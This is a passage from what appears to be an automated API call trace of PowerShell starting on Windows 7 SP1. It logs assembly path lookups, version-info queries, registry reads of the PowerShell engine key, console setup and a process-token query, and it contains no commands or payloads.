lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x674 [0082.028] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x608 [0082.028] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0xeda00 | out: lpdwProcessId=0xeda00) returned 0x72c [0082.066] WerSetFlags () returned 0x0 [0082.093] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0082.094] CoTaskMemFree (pv=0x0) [0082.094] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xedd68, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xedd60 | out: pulNumLanguages=0xedd68, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xedd60) returned 1 [0082.094] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xedd68, pwszLanguagesBuffer=0x2bfad58, pcchLanguagesBuffer=0xedd60 | out: pulNumLanguages=0xedd68, pwszLanguagesBuffer=0x2bfad58, pcchLanguagesBuffer=0xedd60) returned 1 [0082.111] CoTaskMemAlloc (cb=0x24) returned 0x355f20 [0082.111] GetUserDefaultLocaleName (in: lpLocaleName=0x355f20, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0082.112] CoTaskMemFree (pv=0x355f20) [0082.167] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0082.167] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.167] CoTaskMemFree (pv=0x298460) [0082.183] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0082.183] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.183] CoTaskMemFree (pv=0x298460) [0082.186] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0082.186] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.186] CoTaskMemFree (pv=0x298460) [0082.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.228] SetErrorMode (uMode=0x1) returned 0x1 [0082.229] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xed9e0 | out: lpFileInformation=0xed9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0082.229] SetErrorMode (uMode=0x1) returned 0x1 [0082.229] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xedc50 | out: lpdwHandle=0xedc50) returned 0x94c [0082.229] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2bfe5e8 | out: lpData=0x2bfe5e8) returned 1 [0082.230] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedbc8, puLen=0xedbc0 | out: lplpBuffer=0xedbc8*=0x2bfe684, puLen=0xedbc0) returned 1 [0082.230] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe760, puLen=0xedb30) returned 1 [0082.230] lstrlenW (lpString="Microsoft Corporation") returned 21 [0082.230] CoTaskMemAlloc (cb=0x2e) returned 0x350a80 [0082.230] lstrcpyW (in: lpString1=0x350a80, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0082.230] CoTaskMemFree (pv=0x350a80) [0082.230] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe7b4, puLen=0xedb30) returned 1 [0082.230] lstrlenW (lpString="System.Management.Automation") returned 28 [0082.230] CoTaskMemAlloc (cb=0x3c) returned 0x358a30 [0082.230] lstrcpyW (in: lpString1=0x358a30, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0082.230] CoTaskMemFree (pv=0x358a30) [0082.230] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe810, puLen=0xedb30) returned 1 [0082.230] lstrlenW (lpString="6.1.7601.17514") returned 14 [0082.230] CoTaskMemAlloc (cb=0x20) returned 0x355f80 [0082.231] lstrcpyW (in: lpString1=0x355f80, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0082.231] CoTaskMemFree (pv=0x355f80) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe850, puLen=0xedb30) returned 1 [0082.231] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0082.231] CoTaskMemAlloc (cb=0x44) returned 0x358a30 [0082.231] lstrcpyW (in: lpString1=0x358a30, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0082.231] CoTaskMemFree (pv=0x358a30) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe8b8, puLen=0xedb30) returned 1 [0082.231] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0082.231] CoTaskMemAlloc (cb=0x76) returned 0x2e0a80 [0082.231] lstrcpyW (in: lpString1=0x2e0a80, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0082.231] CoTaskMemFree (pv=0x2e0a80) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe954, puLen=0xedb30) returned 1 [0082.231] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0082.231] CoTaskMemAlloc (cb=0x44) returned 0x358a30 [0082.231] lstrcpyW (in: lpString1=0x358a30, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0082.231] CoTaskMemFree (pv=0x358a30) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe9b8, puLen=0xedb30) returned 1 [0082.231] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0082.231] CoTaskMemAlloc (cb=0x58) returned 0x2994c0 [0082.231] lstrcpyW (in: lpString1=0x2994c0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0082.231] CoTaskMemFree (pv=0x2994c0) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfea34, puLen=0xedb30) returned 1 [0082.231] lstrlenW (lpString="6.1.7601.17514") returned 14 [0082.231] CoTaskMemAlloc (cb=0x20) returned 0x355f80 [0082.231] lstrcpyW (in: lpString1=0x355f80, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0082.231] CoTaskMemFree (pv=0x355f80) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x2bfe6dc, puLen=0xedb30) returned 1 [0082.231] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0082.231] CoTaskMemAlloc (cb=0x66) returned 0x34c860 [0082.231] lstrcpyW (in: lpString1=0x34c860, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0082.231] CoTaskMemFree (pv=0x34c860) [0082.231] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x0, puLen=0xedb30) returned 0 [0082.232] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x0, puLen=0xedb30) returned 0 [0082.232] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xedb38, puLen=0xedb30 | out: lplpBuffer=0xedb38*=0x0, puLen=0xedb30) returned 0 [0082.232] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xedb08, puLen=0xedb00 | out: lplpBuffer=0xedb08*=0x2bfe684, puLen=0xedb00) returned 1 [0082.232] CoTaskMemAlloc (cb=0x204) returned 0x3070c0 [0082.232] VerLanguageNameW (in: wLang=0x0, szLang=0x3070c0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0082.232] CoTaskMemFree (pv=0x3070c0) [0082.232] VerQueryValueW (in: pBlock=0x2bfe5e8, lpSubBlock="\\", lplpBuffer=0xedb58, puLen=0xedb50 | out: lplpBuffer=0xedb58*=0x2bfe610, puLen=0xedb50) returned 1 [0082.238] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0082.238] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.264] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.268] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xeda28 | out: phkResult=0xeda28*=0x308) returned 0x0 [0082.269] RegOpenKeyExW (in: hKey=0x308, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0xeda18 | out: phkResult=0xeda18*=0x30c) returned 0x0 [0082.269] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xedaa8 | out: phkResult=0xedaa8*=0x310) returned 0x0 [0082.272] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed9ec, lpData=0x0, lpcbData=0xed9e8*=0x0 | out: lpType=0xed9ec*=0x1, lpData=0x0, lpcbData=0xed9e8*=0x56) returned 0x0 [0082.273] CoTaskMemAlloc (cb=0x5a) returned 0x34c7f0 [0082.273] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed9bc, lpData=0x34c7f0, lpcbData=0xed9b8*=0x56 | out: lpType=0xed9bc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed9b8*=0x56) returned 0x0 [0082.273] CoTaskMemFree (pv=0x34c7f0) [0082.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.281] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.287] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.339] CoTaskMemAlloc (cb=0x104) returned 0x298460 [0082.339] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.339] CoTaskMemFree (pv=0x298460) [0082.565] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0082.565] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0082.671] CoTaskMemAlloc (cb=0x104) returned 0x298570 [0082.671] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.671] CoTaskMemFree (pv=0x298570) [0082.671] CoTaskMemAlloc (cb=0x104) returned 0x298570 [0082.671] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.672] CoTaskMemFree (pv=0x298570) [0082.723] CoTaskMemAlloc (cb=0x104) returned 0x298570 [0082.723] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.723] CoTaskMemFree (pv=0x298570) [0082.724] CoTaskMemAlloc (cb=0x104) returned 0x298570 [0082.724] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.724] CoTaskMemFree (pv=0x298570) [0082.725] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0082.725] CoTaskMemFree (pv=0x298570) [0083.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0083.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0083.152] CoTaskMemAlloc (cb=0x104) returned 0x298570 [0083.152] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.152] CoTaskMemFree (pv=0x298570) [0083.168] CoTaskMemAlloc (cb=0x104) returned 0x298570 [0083.168] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.168] CoTaskMemFree (pv=0x298570) [0083.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.226] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0083.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0083.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0083.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.004] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xed5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.091] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.091] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.091] CoTaskMemFree (pv=0x298790) [0084.212] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0xed700, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0084.212] SetErrorMode (uMode=0x1) returned 0x1 [0084.212] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0xed980 | out: lpFileInformation=0xed980*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0084.212] SetErrorMode (uMode=0x1) returned 0x1 [0084.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.525] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.526] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.529] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.529] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.529] CoTaskMemFree (pv=0x298790) [0084.533] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.533] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.534] CoTaskMemFree (pv=0x298790) [0084.534] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.534] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.534] CoTaskMemFree (pv=0x298790) [0084.561] CoCreateGuid (in: pguid=0xedd48 | out: pguid=0xedd48*(Data1=0x4a2ffb9e, Data2=0xf877, Data3=0x47dc, Data4=([0]=0x9e, [1]=0x2, [2]=0x4d, [3]=0x3, [4]=0x1d, [5]=0xcd, [6]=0xba, [7]=0x15))) returned 0x0 [0084.575] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.575] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.575] CoTaskMemFree (pv=0x298790) [0084.578] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.578] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.578] CoTaskMemFree (pv=0x298790) [0084.581] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.581] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.581] CoTaskMemFree (pv=0x298790) [0084.587] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0084.613] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0xed9f0 | out: lpConsoleScreenBufferInfo=0xed9f0) returned 1 [0084.618] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0084.623] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0xed9f0 | out: lpConsoleScreenBufferInfo=0xed9f0) returned 1 [0084.624] GetVersionExW (in: lpVersionInformation=0xed980*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xed980*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0084.626] GetCurrentProcess () returned 0xffffffffffffffff [0084.627] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0xeda18 | out: TokenHandle=0xeda18*=0x324) returned 1 [0084.631] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xed938 | out: TokenInformation=0x0, ReturnLength=0xed938) returned 0 [0084.632] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x2a3f50 [0084.632] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x2a3f50, TokenInformationLength=0x4, ReturnLength=0xed938 | out: TokenInformation=0x2a3f50, ReturnLength=0xed938) returned 1 